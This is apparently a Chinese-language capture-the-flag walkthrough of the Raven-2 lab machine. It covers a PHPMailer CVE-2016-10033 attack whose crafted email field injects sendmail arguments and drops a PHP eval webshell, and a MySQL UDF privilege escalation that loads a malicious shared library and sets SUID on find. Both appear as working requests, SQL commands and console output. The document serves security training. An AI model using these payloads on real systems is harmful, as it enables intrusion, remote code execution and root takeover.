核心原理

UDF 全称为 User Defined Function(用户自定义函数),是 MySQL 官方提供的扩展功能。MySQL 支持加载外部动态链接库(Linux 下为 .so 共享库,Windows 下为 .dll 文件),以此自定义函数来拓展数据库能力,该功能本身属于正常业务特性。
在 Linux 环境中,MySQL 服务默认以 root 权限运行。攻击者利用这一特性,制作内置系统命令执行逻辑的恶意动态链接库,通过 MySQL 的文件读写能力将恶意库部署到 MySQL 专属插件目录,再创建自定义函数关联恶意库。当调用自定义函数时,命令会依托 MySQL 的 root 权限执行,从而实现命令执行与权限提升,这就是 MySQL UDF 提权的核心逻辑。

前置条件

1.拥有 MySQL 高权限账号(如 root),具备建表、创建函数、文件读写等权限;

2.MySQL 开启 file 权限,允许使用 load_file、dumpfile 进行文件读写;

3.MySQL 插件目录具备可写权限,能够正常写入恶意 .so 文件;

一、靶机下载地址:

https://www.vulnhub.com/entry/raven-2,269/

二、信息收集

1.端口扫描

2.目录扫描

翻找目录,发现flag1:

三、漏洞利用

PHPMailer < 5.2.18存在远程代码执行漏洞(CVE-2016-10033),源于其对用户输入的邮箱地址验证与转义处理存在逻辑缺陷。攻击者可构造包含特殊字符的恶意邮箱地址,绕过过滤机制将参数注入到Sendmail命令行中,并利用其-X日志参数将包含PHP代码的邮件内容写入Web可访问目录,从而在服务器上创建恶意Webshell,最终实现远程代码执行,完全控制目标系统。

构造payload

POST /contact.php HTTP/1.1
Host: 192.168.96.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------------------------3673473670840262
Content-Length: 627
Origin: http://192.168.96.139
Sec-GPC: 1
Connection: close
Referer: http://192.168.96.139/contact.php
Upgrade-Insecure-Requests: 1

--------------------------3673473670840262
Content-Disposition: form-data; name="action"

submit
--------------------------3673473670840262
Content-Disposition: form-data; name="name"

test
--------------------------3673473670840262
Content-Disposition: form-data; name="email"

"aaa". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @test.com
--------------------------3673473670840262
Content-Disposition: form-data; name="subject"

test
--------------------------3673473670840262
Content-Disposition: form-data; name="message"

<?php @eval($_POST['cmd']);?>
--------------------------3673473670840262--

蚁剑连接


发现flag2:

建立反弹shell

四、udf提权

1.找到mysql用户名和密码

注意:nc监听是非交互式的哑终端,用python生成一个交互式的伪终端。否则不能正常与mysql交互。

python -c 'import pty; pty.spawn("/bin/bash")'

2.下载exp脚本并编译
在线地址:

https://www.exploit-db.com/exploits/1518

编译命令:

gcc -g -fPIC -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

3.UDF提权完整流程

整个利用过程分为文件中转、恶意库部署、创建后门函数、执行提权命令四个环节

-- 1. 切换到MySQL系统内置库 mysql
-- 作用:mysql库存储了用户权限、自定义函数、插件等核心系统信息,后续操作依赖该库
use mysql;

-- 2. 查看mysql库下的所有数据表
-- 作用:验证库是否正常,同时确认存储自定义函数的 func 表存在
show tables;

-- 3. 查询MySQL的插件存放路径(UDF提权核心路径)
-- 作用:恶意so文件必须放在MySQL的plugin目录下,才能被加载为自定义函数
show variables like "%plugin%"; 

-- 4. 创建临时表 foo,字段 line 为 BLOB 二进制类型
-- 作用:BLOB类型专门存储二进制文件(.so共享库),作为临时容器存放恶意插件文件
create table foo(line blob);

-- 5. 读取服务器本地的恶意so文件,并插入到临时表foo中
-- load_file():MySQL内置函数,读取服务器本地文件的二进制内容
-- 前提:MySQL对 /var/www/1518.so 有读取权限
insert into foo values(load_file('/var/www/1518.so')); 

-- 6. 将临时表中的二进制so文件,导出到MySQL的插件目录
-- into dumpfile:MySQL导出函数,**专门用于导出二进制文件**(不会添加换行/格式,保证so文件完整性)
-- 核心:必须写入plugin目录,否则MySQL无法加载该UDF函数
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

-- 7. 创建自定义函数 do_system,用于执行Linux系统命令
-- returns integer:定义函数返回值为整数(命令执行状态码)
-- soname '1518.so':绑定恶意so库,函数的执行逻辑由该so文件实现
create function do_system returns integer soname '1518.so';

-- 8. 查询mysql.func 系统表
-- 作用:mysql.func 专门存储MySQL所有**自定义UDF函数**,验证函数是否创建成功
select * from mysql.func;

-- 9. 调用自定义函数 do_system,给 find 命令添加 SUID 提权权限
-- chmod u+s:为文件设置SUID特殊权限,执行时会以**文件所有者(root)**身份运行
-- 目的:让普通用户执行 find 命令时,自动获得root权限,完成提权
select do_system('chmod u+s /usr/bin/find');

完整操作记录:

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
24 rows in set (0.00 sec)

mysql> show variables like "%plugin%"; 
show variables like "%plugin%"; 
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> show tables;
show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| foo                       |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
25 rows in set (0.00 sec)

mysql> insert into foo values(load_file('/var/www/1518.so')); 
insert into foo values(load_file('/var/www/1518.so')); 
Query OK, 1 row affected (0.04 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.02 sec)

mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.01 sec)

mysql> quit
quit
Bye

4.用find命令获取root权限

flag4:

flag3:

wordpress的upload上传目录未授权访问拿到

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐